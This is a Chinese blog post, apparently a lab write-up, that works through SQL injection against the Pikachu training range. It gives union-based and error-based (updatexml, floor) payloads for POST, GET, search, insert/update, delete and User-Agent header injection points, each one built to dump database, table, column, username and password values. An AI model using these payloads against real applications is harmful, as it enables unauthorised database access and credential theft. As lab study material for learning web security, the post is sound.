Antifrag

返回

SQL注入#

数字型注入(POST)#

以piakchu靶场举例

采用手动联合注入的方法#

1 or 1=1

image-20240805195410237

判断回显位#

1 union select 1,2#

image-20240805195706952

爆库#

1 union select 1,database()#

或 1 union select 1,group_concat(schema_name) from (information_schema.schemata)#

image-20240805200137498

爆表#

1 union select 1,group_concat(table_name) from (information_schema.tables) where table_schema = database()#

image-20240805200354797

爆列#

1 union select 1,group_concat(column_name) from information_schema.columns where table_name = ‘users’#

image-20240805200958787

爆值#

1 union select 1,group_concat(username) from pikachu.users# (获取用户名)

image-20240805201140654

字符型注入(GET)#

后面的步骤和前面的数字型类似(省略)

搜索型注入#

搜索型注入也分为GETPOST两种类型,但实际注入方式几乎一样

搜索型注入一般使用模糊匹配的方式存在,使用SQL语句就是select username,password from users where username like '%$name%'

注入方式:当我们输入'and 1=1 and '%'=',将其拼接进SQL语句就变成了select username,password from users where username like '%'and 1=1 and '%'='%',实际上读取的内容还是and 1=1

使用-- +也能注释掉后面的内容

image-20240805211211037

’ union select 1,2,3 —+

image-20240805215042954

爆库#

‘union select 1,2,group_concat(schema_name) from information_schema.schemata — +

image-20240805220048046

爆表#

‘union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()— +

image-20240805222504132

爆列#

‘union select 1,2,group_concat(column_name) from information_schema.columns where table_name = ‘users’ — +

image-20240805222655256

爆值#

’ union select 1,2,concat_ws(’-‘,username,password) from users — +

image-20240805222934312

XX型注入#

由于我是用docker搭建的没有下载源码,直接从github上看

可以看到这个闭合使用()进行闭合的,原理和前面一样

image-20240805224146988

构造payload

insert/update 注入#

在这3种情况中,我们不能使用 union 去做联合查询,因为这不是查询,而是操作

我们可以在此使用报错注入,以下为常用的三种报错注入函数

  1. updatexml(): MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数
  2. extractvalue():MySQL 对 XML 文档数据进行查询的 XPATH 函数
  3. floor():MySQL中用来取整的函数
updatexml()/extractValue()#
  1. UPDATEXML (XML_document, XPath_string, new_value)
  2. ExtractValue(xml_document, XPathstring)

这两函数核心原理是一样的,都是对 XML

具体使用查看:https://www.cnblogs.com/dogecheng/p/11616282.html 这位师傅的文章

在注册的过程中,直接将传入的数据进行POST请求解析,从而直接导致漏洞产生

image-20240807190645555

payload构造

#爆库
1' and updatexml(1,concat(0x7e,database()),0) and ' #使用or也可以

#爆列 如果不使用 limit限制读取数量,pikachu会出现报错 显示结果多于一行
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1)),0) and '

#爆表
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),0) and '

#爆值
1' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) and '

1' and updatexml(1, concat(0x7e, (select password from users where username = 'admin' limit 0,1)), 0) and '
sql

delete注入#

image-20240808152939262

注入点

源码

image-20240808153548628

构造payload

1 or updatexml(1, concat(0x7e,database()), 0)
sql
floor#

向下取整。如果要用 floor() 构成报错,必须满足下面的条件

  • 运算中有 count
  • 运算中有 group by
  • 运算中有 rand

使用方式

#爆库
1' and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_shcema.tables group by x)a)#

#爆表
1' and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a)#

#爆字段
1'and (select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_name = 'users' limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#

#爆值
1'and (select 1 from (select count(*),concat('~',(select concat(username,'~',password) from users limit 0,1),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#
sql

http header注入#

首先使用 admin/123456 登录,进入页面后可以看到 http请求被暴露在页面上

image-20240809153354204

我们可以先看看源码

image-20240809153937586

这里可以看到作者直接将header信息直接使用insert插入到数据库,没有进行转义

我们尝试在header上进行SQL注入

User-Agent修改为'会发现页面出现了sql报错信息

image-20240809154558573

然后就可构造payload,和前面的那个insert一样

#爆库
' or updatexml(1,concat(0x7e,database()),0) or '

#爆列
' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1)),0) or'

#爆表
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name = 'users' limit 0,1)),0) or'

#爆值
' or updatexml(1,concat(0x7e,(select username from users limit 0,1)),1) or'
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),1) or'
sql
SQL注入(一)
https://antifrag.cn/blog/sql%E6%B3%A8%E5%85%A5
作者 l6kmw
发布于 2024年8月8日